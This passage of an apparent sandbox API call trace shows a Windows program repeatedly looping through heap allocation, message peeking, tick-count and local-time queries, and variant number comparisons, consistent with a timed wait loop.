(HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.734] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.734] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.734] CoFreeUnusedLibraries () [0180.734] GetTickCount () returned 0x115dd74 [0180.734] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.734] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.734] GetTickCount () returned 0x115dd74 [0180.734] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x241)) [0180.734] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.734] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.735] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.735] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.735] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.735] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.735] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.735] CoFreeUnusedLibraries () [0180.735] GetTickCount () returned 0x115dd84 [0180.735] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.735] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.735] GetTickCount () returned 0x115dd84 [0180.736] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x250)) [0180.736] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.736] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.736] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.736] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.736] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.736] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.736] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.736] CoFreeUnusedLibraries () [0180.736] GetTickCount () returned 0x115dd84 [0180.736] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.736] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.736] GetTickCount () returned 0x115dd84 [0180.736] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x250)) [0180.736] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.737] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.737] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.737] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.737] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.737] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.737] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.737] CoFreeUnusedLibraries () [0180.737] GetTickCount () returned 0x115dd84 [0180.737] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.737] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.737] GetTickCount () returned 0x115dd84 [0180.737] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x250)) [0180.737] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.737] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.737] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.737] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.738] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.738] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.738] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.738] CoFreeUnusedLibraries () [0180.738] GetTickCount () returned 0x115dd84 [0180.738] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.738] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.738] GetTickCount () returned 0x115dd84 [0180.738] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x250)) [0180.738] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.738] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.738] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.738] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.738] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.738] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.738] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.739] CoFreeUnusedLibraries () [0180.739] GetTickCount () returned 0x115dd84 [0180.739] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.739] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.739] GetTickCount () returned 0x115dd84 [0180.739] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x250)) [0180.739] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.739] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.739] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.739] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.739] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.739] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.739] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.739] CoFreeUnusedLibraries () [0180.739] GetTickCount () returned 0x115dd84 [0180.739] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.740] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.740] GetTickCount () returned 0x115dd84 [0180.740] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x250)) [0180.740] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.740] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.740] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.740] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.740] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.740] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.740] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.740] CoFreeUnusedLibraries () [0180.740] GetTickCount () returned 0x115dd84 [0180.740] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.740] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.740] GetTickCount () returned 0x115dd84 [0180.740] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x250)) [0180.741] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.741] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.741] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.741] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.741] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.741] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.741] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.741] CoFreeUnusedLibraries () [0180.741] GetTickCount () returned 0x115dd84 [0180.741] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.741] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.741] GetTickCount () returned 0x115dd84 [0180.741] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x250)) [0180.741] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.741] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.741] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.741] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.742] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.742] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.742] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.742] CoFreeUnusedLibraries () [0180.742] GetTickCount () returned 0x115dd84 [0180.742] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.742] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.742] GetTickCount () returned 0x115dd84 [0180.742] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x250)) [0180.742] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.742] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.742] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.742] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.743] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.743] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.743] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.743] CoFreeUnusedLibraries () [0180.743] GetTickCount () returned 0x115dd84 [0180.743] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.743] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.743] GetTickCount () returned 0x115dd84 [0180.744] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x250)) [0180.744] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.744] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.744] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.744] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.745] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.745] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.745] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.745] CoFreeUnusedLibraries () [0180.745] GetTickCount () returned 0x115dd84 [0180.745] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.745] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.745] GetTickCount () returned 0x115dd84 [0180.746] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x250)) [0180.746] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.746] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.746] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.746] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.746] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.746] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.746] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.747] CoFreeUnusedLibraries () [0180.747] GetTickCount () returned 0x115dd84 [0180.747] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.747] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.747] GetTickCount () returned 0x115dd84 [0180.748] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x250)) [0180.748] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.748] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.748] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.749] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.749] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.749] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.749] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.749] CoFreeUnusedLibraries () [0180.749] GetTickCount () returned 0x115dd84 [0180.749] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.749] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.749] GetTickCount () returned 0x115dd84 [0180.750] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.750] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.750] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.750] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.750] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.751] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.751] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.751] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.751] CoFreeUnusedLibraries () [0180.751] GetTickCount () returned 0x115dd93 [0180.751] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.751] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.751] GetTickCount () returned 0x115dd93 [0180.751] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.751] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.751] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.751] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.751] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.752] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.752] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.752] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.752] CoFreeUnusedLibraries () [0180.752] GetTickCount () returned 0x115dd93 [0180.752] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.752] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.752] GetTickCount () returned 0x115dd93 [0180.752] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.752] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.752] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.752] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.752] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.752] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.752] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.752] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.753] CoFreeUnusedLibraries () [0180.753] GetTickCount () returned 0x115dd93 [0180.753] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.753] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.753] GetTickCount () returned 0x115dd93 [0180.753] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x260)) [0180.753] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.753] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.753] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.753] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.753] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, 